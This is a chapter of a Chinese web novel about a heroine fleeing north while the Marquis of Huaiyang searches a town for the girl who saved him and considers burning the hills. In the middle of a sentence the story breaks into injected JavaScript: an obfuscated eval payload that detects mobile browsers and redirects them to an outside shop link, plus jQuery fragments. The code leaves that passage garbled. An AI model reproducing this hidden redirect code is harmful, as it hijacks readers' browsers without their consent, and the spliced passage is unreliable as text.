10. 第 10 章

作品:《谁也不能阻止我躺平

    农家的木板床嘎吱颤抖,阿姆被惊醒了,黑暗里喊:“二娘子?”


    “……没事,做了个不太好的梦。”南泱缓缓平复呼吸。


    所以,春日桑林边大醉的华服贵人,和水边差点摔死的,是同一个?


    她一巴掌把人在水里扇昏,又拖麻袋似的拖上岸的半死不活的那位,是淮阳侯本人?!


    吱嘎一声,南泱又躺回木板床上。


    很好,人没摔死。应该是黄郎中救了他。


    细想想她又不太好了。救回来的竟是淮阳侯。


    缓过一口气的淮阳侯,开始大张旗鼓,全镇搜寻“十五岁到二十五岁的年轻小娘子”。


    “……该不会找我报那一巴掌的仇吧?”


    南泱浑身一个激灵,被脑海里可怕的联想淹没了。


    所以说,坏名声对人的影响其实很大的。


    理智上她知道淮阳侯吃人的流言没有实证。


    但此时此刻的深夜,脑海不断闪现的画面,是咕噜噜煮水的大锅,锅里炖肉,满地吃剩的人骨头……


    南泱对着黑暗茅屋顶喃喃自语:“还好跑出来了。”


    ……


    杨家车夫显然也这么想。


    第二天开始,为了补回休息一夜损失的时间,小车快马加鞭,仿佛脱了缰的疯狗一路往北狂奔。


    阿姆和南泱颠得晕头转向,阿姆的胆汁都快吐光了。


    “歇一歇。”南泱虚弱地招呼杨家车夫:“阿姆吐得不行了。”


    停车休息的半个时辰,杨家车夫坐立不安,时不时地跳上车回望来路。


    “附近荒郊野岭的,最适合拦路杀人。万一淮阳侯派人追赶我们……”


    南泱觉得不可能:“都出镇两日,要追早追上了。”


    杨家车夫从淮阳侯手指缝下死里逃生一回,仿佛惊弓之鸟,越想越后怕:


    “兴许有事耽搁了?等淮阳侯做完手里的事,又想起咱们来。正好咱们懈怠下来,慢腾腾地赶路,他的人突然追上,杀一记回马枪!”


    南泱:“啊这……”


    阿姆听得大为紧张,当先上车:“说的对,我们继续赶路……呕!”


    “还是歇歇吧。”南泱扶着呕吐不止的阿姆:“再加急赶路,我们怕活不到京城了。”


    “不用顾忌我老婆子,继续赶路,呕~~!”


    ——


    “镇子医馆的黄郎中人在何处?”


    深夜,八盏琉璃灯光通明,照得水边临时搭建的凉棚透亮。


    全镇十五岁到二十五岁的小娘子被仔细筛过一遍,并无任何符合的女郎。


    萧承宴沉思着,提起黄郎中这个几乎被遗忘的小角色。


    “当天她离去不久,黄郎中划船来寻我,又想求一场富贵。黄郎中和她见过面。”


    “黄郎中当天便被驱赶出镇了。”明文焕坐对面,摇着大蒲扇叹气。


    “跟他家小徒弟两个一起,人和船都不许靠岸。黄郎中哭哭啼啼地顺水飘去下游,寻都寻不到。”


    萧承宴面无表情听着,手指搭在木扶手上,哒哒哒地敲。


    明文焕安抚道:“萧侯稍安勿躁。只要小娘子还在镇子上,反复筛查,迟早能把人寻出——”


    “她在欲擒故纵?”萧承宴打断道。


    明先生一愣:“这个……”


    “我已昭示全镇,寻一名水边见面的采桑女、采莲女,又加重赏。她必然知道我在寻她,却故意迟迟不现身。想来想去,唯一的可能便是欲擒故纵。”萧承宴的语气淡了下去。


    “一匣子珠宝不够她的胃口,她想要更多。”


    “明先生,你说,这世上当真有施恩不图报之人?事了拂衣去,深藏功与名,仿佛上古之隐士? ”


    萧承宴的唇线在笑,眼里却毫无笑意。


    “还是说,早知我身份,刻意谋划,引我关注,图谋更多?”


    明文焕急忙起身:“萧侯,无需过分揣度人心啊!这世上施恩不图报的义士虽然少见,但也不能说一个没有——”


    “恰巧让我撞见了?”


    琉璃灯光跳跃成片,映入眼底,萧承宴的眼睛在暗处幽幽发亮。


    “我这人的运气向来不大好。也向来不怎么信‘天降救星’这套。”


    “她再不现身,就再不必现身了。急什么。等我慢慢地寻她。”


    最新告示贴满了平安镇角落。


    悬赏翻倍,重金寻镇上一小娘子。家里春日采桑、夏季采莲,曾与淮阳侯水边结缘。


    小娘子自行现身,可领重赏;


    左邻右舍有知情者,举报亦有重赏。


    告示最后的末尾两句言语隐含威慑。


    【此告示张贴三日。


    逾期再寻,生死不论】


    ——


    平安镇外河边。


    萧承宴坐在河岸的山坡高地上,两条长腿搭在陡峭山崖边,往下俯视。


    他自己曾从这处连人带马摔下,滚压过山坡草地,压出一条长而可怖的痕迹。


    时隔半个多月,额头裂伤恢复良好,晕眩的症状跟着缓解不少。


    明文焕站在主上身边,一层层地去除纱布,露出纱布下的饱满天庭。


    “告示贴满平安镇各处。三日过去,领赏的人来了几十个,正主依旧未寻到。”


    萧承宴慢慢地道:“现在你们告诉我,人或许根本不在镇子上?”


    狄荣挎刀站在主上身后,心塞。


    平安镇人口并不多。一个大活人掘地三尺都寻不出,最大的可能,人不在镇子上。


    但这个答案,显然不是主上想要的。


    明文焕也很心塞。


    他尽量把话说得委婉。


    “一个来平安镇采桑采莲的年轻小娘子,必然住得不远。哪怕不是平安镇本地人口,或许,咳,人住在附近山中? ”


    家家户户挨个询问过了,小娘子当日采莲蓬的船是十个钱赁来的。


    赁船的妇人绘声绘色描述道,小娘子年纪不大,应该及笄了,但绝对不超过二十岁。生得瓜子脸,大眼睛,皮肤白皙,个头不高。


    不只是赁船的妇人,当日在黄家医馆几个凑热闹的好事妇人也见过那位小娘子。


    妇人们异口同声道,小娘子面生,肯定不是镇上的人。镇子上的乡亲抬头不见低头见,生得这般标志的小娘子,怎会没有印象。


    明文焕取出一张画像,放来主上面前。


    “按照妇人们描述绘制的人像,可要张贴镇子各处?”


    萧承宴接在手里,却并不去看。


    随手揉成一团,手一松,画像便随着山风飘飘荡荡地飞远了。


    “三日时限已过。”


    萧承宴道,“急什么。有的是法子寻她。”


    “明先生说,她或许不在平安镇,而在附近山中?”


    萧承宴的目光抽离险峻的山崖,改而眺望河岸两边郁郁葱葱占地广阔的山林:


    “放火烧山一圈,把山里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140631|196312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    躲着的人逼出来……”


    明文焕心里咯噔一下。


    放火烧山!


    放火烧山,确实是把人逼出山林最快的法子。但大火无情,谁也不能肯定寻到的是活人哪!


    狄荣倒是没太大反应,主上说的他都觉得对。


    明文焕头皮有点发麻。


    萧侯寻人不着,升起偏执之心。


    不择手段,放火烧山。把恩人小娘子逼出山还好,万一……万一人没来得及逃出山呢?


    刹那间,明文焕冷汗都下来了。


    绞尽脑汁琢磨如何把过于危险的话题转开,保住这片山,保住恩人小娘子性命无虞。


    萧承宴却又自言自语道:“这一大片山烧尽,拦山寻人,至少三五日。”


    狄荣才不管主上放火烧山的意图,当场耿直地算起日子:


    “不止。防止烧死山里的樵夫猎户,得提前至少五日封山。主上想烧尽这片山,至少得烧个三五日。防止山火蔓延去河边镇子,还得多加三五日的防御准备工程。再到处找跑下山的小娘子。前前后后——”


    狄荣盘算了一下:“至少半个月吧!”


    萧承宴的目光不悦地从远处山林收回:“等不了那么久。不可行。”


    他的思绪极为跳跃,身边一文一武两个辅臣都跟不上。


    萧承宴道:“京城出了点岔子。”


    明文焕又一惊,“什么岔子?要紧不要紧?”


    萧承宴说得轻描淡写,身边两个辅臣觉得天都塌了。


    “京城驻军那边传出消息,圣上病倒,连续罢朝十日,文武百官无人能见天子。或许,圣上病得快不行了?”


    狄荣:“……”


    明文焕:“……”


    萧承宴从怀里取出一张卷起的黄绸诏书,迎风展开。


    这便是几个山阳郡官员收到的【京城密旨】了。


    山阳郡收到的密旨,口吻严厉急迫,明确下令截杀淮阳侯,立功者重赏。


    “要么,这封密旨是假造的。有人趁天子病倒的机会,蓄意谋害于我。”


    “也有可能,这封密旨是真的。重病的圣上不放心我……替下一任天子铺路,降下密旨,诛杀我于山阳郡。”


    萧承宴意味不明地笑了笑,“你们觉得,哪个可能更大些?”


    “……”狄荣骂了句娘。


    明文焕脸色都变了。


    “封地不去了。”


    萧承宴道,“密旨的事要尽快弄清楚。”


    “可惜手头还有两桩事未了。”他站起身来,惋惜地环视周围群山。


    “第一,那小娘子至今未寻到。整片山烧一圈,等人下山。三五天还能等得,半个月等不得。”


    “等不得!”明文焕人都踉跄了一下。


    “天子病重,事态不明,密旨隐患巨大!萧侯别惦记烧山了,即刻回京,打探清楚控制局面啊。”


    “急什么。”萧承宴淡淡道:“不急这一时半会。”


    “第二桩事,卫家二娘那边大意了。”


    卫家走脱的二娘,当时车厢太黑没见着脸,听声音倒是又脆又亮,喊得他脑壳嗡嗡的,还趁黑连踩他两脚。


    当时他没在意。一个内宅小女子,可能还不如树上掉下来的毛毛虫危险。


    但事后回想,放她走脱,大意了。


    “卫二娘放走几天了?”


    萧承宴抱臂站在山风里,垂眸有所思:“你们说……现在返程,能不能追得上她?”